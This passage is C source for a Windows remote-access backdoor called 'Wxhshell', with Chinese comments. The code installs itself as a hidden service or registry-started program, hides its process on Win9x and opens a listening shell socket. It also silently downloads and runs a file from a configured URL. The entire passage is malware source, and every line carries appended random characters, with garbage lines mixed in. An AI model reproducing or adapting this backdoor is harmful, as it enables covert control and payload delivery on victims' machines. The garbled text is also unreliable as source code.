ULONG InheritedFromUniqueProcessId; @6-3D/=
} PROCESS_BASIC_INFORMATION; S_s;foT
L!fIAd`
PROCNTQSIP NtQueryInformationProcess; @P h'!
s"~,Zzy@j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4C3i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u,~+ho@
^ '_Fd
HANDLE hProcess; a(uQGyr[k1
PROCESS_BASIC_INFORMATION pbi; ?OGs+G
IvI;Q0E-3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z/;hbbG
if(NULL == hInst ) return 0; ;KG}Yr72
"9Br)3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YB4|J44Y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )&-n-m@E
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ca[*#xiJ
fT=ZiHJ3Gu
if (!NtQueryInformationProcess) return 0; wkp$/IZKMj
r
l;Y7l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K3&k+~$
if(!hProcess) return 0; 8jiBLZkRf
k8cR`5@PK
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5nK|0vv%2
@JOsG-VW~
CloseHandle(hProcess); @@}muW>;T
K
k^!P*#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G#='*vOtO
if(hProcess==NULL) return 0; *48LQzc
1+l[P9?R[
HMODULE hMod; ,S?:lQuK5
char procName[255]; $H6n gL
unsigned long cbNeeded; uL^X$8K;(
[TT:^F(Y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UM'JK#P"
.:(gg
CloseHandle(hProcess); MW0CqMi]T
7e{w,.ny!
if(strstr(procName,"services")) return 1; // 以服务启动 2(GLc*B>
=wa5\p/
return 0; // 注册表启动 e)i-$0L"
} FH;)5GGnv
u@zT~\ h*
// 主模块 "T} HH
int StartWxhshell(LPSTR lpCmdLine) M[e{(iQ:
{ GF0Utp:Zf;
SOCKET wsl; rNgAzH
BOOL val=TRUE; ul"Z%
1]
int port=0; QdIoK7J 9
struct sockaddr_in door; zeH=py[n
fJi?~[5<
if(wscfg.ws_autoins) Install(); .o8pC
W61:$y}8
port=atoi(lpCmdLine); (e3?--~b6
#QW%
;^
if(port<=0) port=wscfg.ws_port; v^ 1x}
!V/p.O
WSADATA data; X4"[,:Tw
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *C> N
U"Z%_[*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `?T8NK
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); prxmDI
door.sin_family = AF_INET; zf^@f%R
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6|1#Prj
door.sin_port = htons(port); ~SEIIq
~$bQ;`,L
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S7CD#Y[s
closesocket(wsl); 24Htr/lPCT
return 1; 1EHNg<J(
}
w Qp{z
UZE%!OWpeK
if(listen(wsl,2) == INVALID_SOCKET) { dW#l3_'3T
closesocket(wsl); y{nX 6
return 1; 9(BB>o54r
} o2LUB)=R'
Wxhshell(wsl); >JN[5aus
WSACleanup(); M5S<N_+Pe
?QzN\fY;
return 0; RY*s }f
;fv/s]X86I
} =}W)%Hldr.
ralU9MN.
// 以NT服务方式启动 'RCX6TKBnR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3[To"You
{ KYFkO~N
DWORD status = 0; ~I%JVX%
DWORD specificError = 0xfffffff; P"c7h7
JI92Dc*o
serviceStatus.dwServiceType = SERVICE_WIN32; McU]U9:z
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hhOrO<(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e#4 iue7U
serviceStatus.dwWin32ExitCode = 0; !|#1z}(
serviceStatus.dwServiceSpecificExitCode = 0; H, O_l%
serviceStatus.dwCheckPoint = 0; kC+dQ&@g{
serviceStatus.dwWaitHint = 0; /A`Lyp#
YZp]vlm~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \JZ'^P$Q
if (hServiceStatusHandle==0) return; [m]O^Hp{{
y#e<]5I
status = GetLastError(); O[&G6+
if (status!=NO_ERROR) p2Fi(BW*q
{ q.RW_t~
serviceStatus.dwCurrentState = SERVICE_STOPPED; C6,W7M[c
serviceStatus.dwCheckPoint = 0; lb #`f,r>
serviceStatus.dwWaitHint = 0; ,An*w_
serviceStatus.dwWin32ExitCode = status; v>mr
serviceStatus.dwServiceSpecificExitCode = specificError; |Oe$)(`|h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gt?ckMB
return; mg4:N
} j[y+'O
Hd=!
serviceStatus.dwCurrentState = SERVICE_RUNNING; oJEjg>%n
serviceStatus.dwCheckPoint = 0; t8b,@J`R
serviceStatus.dwWaitHint = 0; cBnB(t%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L+"5g@
} C)Hb=
~r>N
// 处理NT服务事件,比如:启动、停止 1)=sbFtS
VOID WINAPI NTServiceHandler(DWORD fdwControl) orAEVEm
{ )`]} D[j
switch(fdwControl) 3`m
n#RM
{ 9Vv&\m!0
case SERVICE_CONTROL_STOP: q
oVp@=\:"
serviceStatus.dwWin32ExitCode = 0; |70Lh+
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?QCHkhU
serviceStatus.dwCheckPoint = 0; Y<-dd"\
serviceStatus.dwWaitHint = 0; 0@8EIQxK"
{ ||k^pzj%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]#x?[F
} _zj}i1!E"
return; LP:C9Ol\
case SERVICE_CONTROL_PAUSE: !/MHD
serviceStatus.dwCurrentState = SERVICE_PAUSED; m.N/g,
break; lO0 PZnW9
case SERVICE_CONTROL_CONTINUE: Z"G@I= Q(
serviceStatus.dwCurrentState = SERVICE_RUNNING; KA$l.6&d
break; NFcMh+qnK
case SERVICE_CONTROL_INTERROGATE: Y vjRJ
break; bi[gyl#
}; lTpmoDa%
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
$mG&4Y
} h+h`0(z
p,+$7f1S
// 标准应用程序主函数 w">p
8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I-
X|-
{ u!&Vbo? .B
?yt"
// 获取操作系统版本 mam2]St"
OsIsNt=GetOsVer(); "J%/xj
GetModuleFileName(NULL,ExeFile,MAX_PATH); CzZmC]5
38T2IN
// 从命令行安装 cB9`U4<
if(strpbrk(lpCmdLine,"iI")) Install(); YkLEK|d
O)!MWmr
// 下载执行文件 Ym*Ed[S
if(wscfg.ws_downexe) { u%=M4|7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rTjV/~
WinExec(wscfg.ws_filenam,SW_HIDE); G#;$;
} ZO $}m?
t`X-jr)g
if(!OsIsNt) { {'#^
// 如果时win9x,隐藏进程并且设置为注册表启动 +kKfx!
HideProc(); <t0o{}^P*
StartWxhshell(lpCmdLine); ye)CfP=ID\
} ?5!>k^q
else %maLo RJ
if(StartFromService()) ;yO7!{_
// 以服务方式启动 +<P%v k
StartServiceCtrlDispatcher(DispatchTable); ')/yBH9mR
else Dh|8$(Jt
// 普通方式启动 =@>[
StartWxhshell(lpCmdLine); XZe ZqBr
Td5;bg6Qy
return 0; yA+:\%y$
}